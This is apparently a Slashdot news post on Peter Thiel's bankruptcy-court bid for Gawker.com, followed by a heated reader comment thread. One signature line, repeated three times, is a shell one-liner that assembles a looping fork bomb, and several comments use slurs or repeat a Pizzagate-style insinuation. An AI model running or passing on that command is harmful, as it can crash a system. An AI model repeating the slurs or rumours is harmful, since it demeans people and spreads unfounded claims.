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After Bankrupting Gawker, Peter Thiel Demands a Chance to Buy Them (buzzfeed.com)
An anonymous reader quotes BuzzFeed:
In a federal bankruptcy court filing on Wednesday, lawyers for venture capitalist Peter Thiel objected to the ongoing sale process of Gawker.com, arguing that the billionaire has been unfairly excluded from bidding for the assets of the defunct news website... Whoever ends up buying the site will also buy its archives, which are still up, and will have the right to do with them what they want, including delete them. In the filing, Thiel's lawyers allege that he was prevented from receiving information in regard to a potential bid for Gawker.com by plan administrator William Holden and his counsel, Gregg Galardi, following a Wall Street Journal story in October that said Holden and Galardi had started to market the website to potential buyers...
The Wall Street Journal reported that Holden has been exploring the sale of Gawker.com since July, and that he recently marketed the site's potential legal claims against Thiel as part of its appeal. The marketing of those claims is at the center of Thiel's complaint, in which his lawyers argue that Holden should not be able to conduct a sale of those claims and ask that the court drop a motion that allows for discovery to move forward. Thiel's representatives also said that they contacted those administrating the sale of Gawker.com last month "to express Mr. Thiel's interest in participating in the sale process," but that they had been rebuffed and then ignored.
Thiel's complaint calls him the "most able and logical purchaser."
The Wall Street Journal reported that Holden has been exploring the sale of Gawker.com since July, and that he recently marketed the site's potential legal claims against Thiel as part of its appeal. The marketing of those claims is at the center of Thiel's complaint, in which his lawyers argue that Holden should not be able to conduct a sale of those claims and ask that the court drop a motion that allows for discovery to move forward. Thiel's representatives also said that they contacted those administrating the sale of Gawker.com last month "to express Mr. Thiel's interest in participating in the sale process," but that they had been rebuffed and then ignored.
Thiel's complaint calls him the "most able and logical purchaser."
Thiel may be easy to dislike, but he beat Gawker like a rented mule.
Happiness in intelligent people is the rarest thing I know.
Ernest Hemingway
Silly plebe. Free speech is only for the rich and powerful. How dare you use free speech to report their misdeeds.
http://gawker.com/a-judge-told...
https://en.wikipedia.org/wiki/...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Society" as a concept is vastly overrated if it needs censorship to preserve it.
The argument to be made to a bankruptcy judge will likely be that if Thiel is willing to pay more than anyone else then it should be sold to him so that money can be used to settle Gawker's outstanding debts. Barring him from the bidding may reduce the amount paid and thus harm the creditors.
I do find myself wondering every time I see him mentioned whether Thiel actually has any redeeming qualities at all.
fencepost
just a little off
This is merely an excellent way to acquire new businesses. If the math is there, and you want it, Bankrupt the business first, then buy it. My free market senses are tingling with the new business model. What is more, it is approved in the Holy Bible - reference Uriah the Hittite, killed by King David, who was already yencing Uriah's wife, knocked her up, and after having Uriah out of the way, married her. So all is good.
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
You are not wrong here. Indeed, Thiel never accused Gawker of slandering anybody.
WTF? Thiel was openly gay years before Gawker first heard of him... Get your alternative facts closer to reality.
"Revenge porn" is nearly always true as well — the videos and photos are unaltered. Is it Ok to do it? How about "doxing"?
His revenge campaign is complete — he caused the assholes to run into the ground. He just wants to piss at their crash-site. To "thwart" him, you have to offer the Gawker's creditors a deal better than Thiel is offering. Pony up the cash, or shut up.
In Soviet Washington the swamp drains you.
I've never seen Thiel and David Miscavige in the same room. Just putting that out there.
sub f{($f)=@_;print"$f(q{$f});";}f(q{sub f{($f)=@_;print"$f(q{$f});";}f});
Nah, you just need to stop pretending you understand what's going on. Like, completely.
It's not "being gay is magical armor" it's "treat gays like human beings for fuck sake (which many republicans still have issues with)" which means they can do bad things and be hated on.
You mistook something earlier in your logic, and it's messed you all up. It's ok, just use that thing in your head and you'll be able to follow things again.
I wonder if his lawyer is Helena Kobrin?
Scientology successfully sued Cult Awareness Network to death, then bought up the trademark, the website, the mailing lists, and the email contacts. If you call Cult Awareness Network, you're talking to a trained Scientologist, ready to take your money, plant you in front of an e-meter, hypnotize you, convince you that your body and bad thoughts are made of reborn galactic citizens called Thetans, and suck you dry of money and time.
Did they serve pizza on the Lolita Express when Bill flew on it 26 times?
Help Brendan pay off his student loans
He wants access to information on Gawker he says he needs to make a bid, and claims the administrator is withholding.
He's not entitled to squat, he's just trying to get access to details on the writers and journalists, their salaries, addresses, employee records etc. He's using the sale of Gawker as an excuse to try to obtain those by way of nuisance lawsuit to block the asset sale.
One final piece of Thiel shit.
He really is just a piece of shit that nobody will miss.
It's not "being gay is magical armor" it's "treat gays like human beings for fuck sake (which many republicans still have issues with)" which means they can do bad things and be hated on.
If that was the case, then you wouldn't have the word "faggot" in your comment subject. The second a homosexual does something that doesn't fit into your ethical framework, people like the AC op call him a "faggot" and a "traitor".
You can't use a historically bigoted insult, then just claim you are treating Thiel like a regular human being that has done a bad thing.
You can never know everything, and part of what you do know will always be wrong. Perhaps even the most important part.
Microsoft perfected that process back in the day. They'd make a great offer for a company's technology. Microsoft would agree to buy X units, at a price very profitable to the company, after they made a few improvements or integrations with Microsoft's other software. Of course, the target company wasn't allowed to sell to anyone else during that period. In the fine print Microsoft would get right of first refusal if the company was ever sold.
The company would work to make the improvements and integrations Microsoft asked for, unable to take any other customers during that time. When it came time for Microsoft to accept delivery, they'd sit on it for a month and not reply. Then they'd decline delivery, asking for more changes. When that run-around finally ended they'd eventually have to accept delivery, so then they sit in making the payment. Sometimes the contract might call for a late fee, which doesn't matter when they aren't paying anyway. A year after the contract was signed, without being allowed to sell to any other customers and having not been paid by Microsoft, the company would go under. The owners might well be behind on their mortgage at this point. That's when Microsoft would offer to buy the company for a pittance. They did the same dance over and over again.
His revenge campaign is petty and should be thwarted by all means available.
Why? It's an honest question. Gawker wasn't bankrupted because they simply reported the news. Gawker was bankrupted because they had a lot of shady dealings and ultimately got snagged by it in the court of law.
I am honestly asking why should this person be prohibited from purchasing the company? If your argument is based on morality then perhaps you should reexamine the situation.
Anons need not reply. Questions end with a question mark.
Billionaire whining that he can't buy the critics he used his wealth to destroy in the first place. One of the more despicable things I've seen in my life. (And there's been a lot of competition for that lately.)
Rule 35 of the internet: "If it can be hacked, it will be". - Charles Stross
Actually, under US bankruptcy law the survival of the company as a complete entity is more important than the satisfactory conclusion of all the debts. Although the ability to repay the debts is important the ability of the company to survive and continue to employ people in the future is equally weighted.
What you argue would result in liquidation in almost every bankruptcy case and liquidation is actually the last result after every other option has been exhausted.
You can't ignore a court order because you think it's unconstitutional. And this was a sex tape, not the Pentagon Papers
Also Gawker's sister site Jezebel angrily denounced people for refusing to remove Lawrenceâ(TM)s naked photos.
http://libertyviral.com/this-o...
Anyhow the judge's order was later declared unconstitutional. That didn't stop Hogan from sueing them and bankrupting them. And now Gawker is Thiel's bitch. They pissed him off by outing him as hay while he was on a business trip to Saudi Arabia.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They victimize the psychatrically disabled.
Thiel should sell Nick Denton into slavery with David Miscavige.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I agree with the other guy. Gawker was garbage. And I'd bet a dollar that if they had released tapes of Bill Clinton fondling a secretary against her will you would be the first in line to call Gawker evil.
lucm, indeed.
If that was the case, then you wouldn't have the word "faggot" in your comment subject.
Well, one of the ACs anyway.
Ezekiel 23:20
No being gay is not a misdeed. Being gay while funneling millions into anti gay groups however makes you a cunt
Excuse the Unicode crap in my posts. That's an apostrophe, and slashdot is busted.
Ah yes the magical pizza parlour that used some sort of magic to hide children in an evil sec dungeon that does not exist on this plane of reality (literally, there is no basement). Damn you normies for not believing that the darataddly reptilians are phase shifting inter dimensional rape dungeons into pizza shops.maaaaaaaaaaa I said I ate my meds
Excuse the Unicode crap in my posts. That's an apostrophe, and slashdot is busted.
Gawker published somebody's sex tape against their will, and when a judge ordered them to take it down, they refused and published an article bragging about ignoring the judge. Without Thiel, the victim was unable to afford the legal costs necessary to get them to stop. Thanks to Thiel, the victim got justice.
I am honestly asking why should this person be prohibited from purchasing the company? If your argument is based on morality then perhaps you should reexamine the situation.
They likely believe he shouldn't be able to buy them because Thiel isn't left wing therefor can't keep that same level of muckracking that they'd been doing for years. It was only a matter of time before Gawker managed to commit suduko anyway.
The writing was already on the wall for that, the entire buy-up by univision was funny though, especially when all the reporters who say they're bloggers, then claim they're reporters when convenient started quitting because univision required actual ethical standards out of them. And now in this whole situation univision is trying to sell off chunks of what they bought from Gawker because they're money losers.
With the current state of the ad market, and adpocolypse 2.0 now on the horizon? If Thiel is offering money, they'd better get in a head of this ad crash. If you didn't hear anything on it, even more companies are pulling ads from youtube, google, adwords, and other associated stuff. Why? Because their ads were appearing next to the apparent pedofarming videos that were targeted at children. See the elsagate stuff if you really want to know, fair warning, it's massively fucked up. Or you can watch/listen this vid from mundanematt bout 12mins long.
Om, nomnomnom...
...suduko...
I'm not sure if this was a deliberate error or not.
Just in case, I think the word you were looking for is 'seppuku'.
By what metric? "Freedom" as we currently know it is only a couple hundred years old. There are many civilizations that have survived that long all the way up and down the spectrum, mostly on the end of less free. And a few that have lasted 1000+.
The US is already looking a little frail as people continually trade off their freedoms for short-term profit (not even their own short-term profit in a lot of cases) or the illusion of security against threats that are flashy but have a tiny probability of occurring while ignoring threats that are much more dangerous but don't happen to make good headlines.
I'm not expecting the end of the US any time soon of course, but when comparing against some of the ancient empires (Roman empire especially,) the US is still practically a baby.
Of course I'm interchanging the term "civilization" and "society." If your definition of "society" is something along the lines of "whatever I happen to prefer" or worse "the one I grew up in therefore best," then of course my arguments will be a bit meaningless.
Just in case, I think the word you were looking for is 'seppuku'.
Om, nomnomnom...
I live and learn.
Thanks!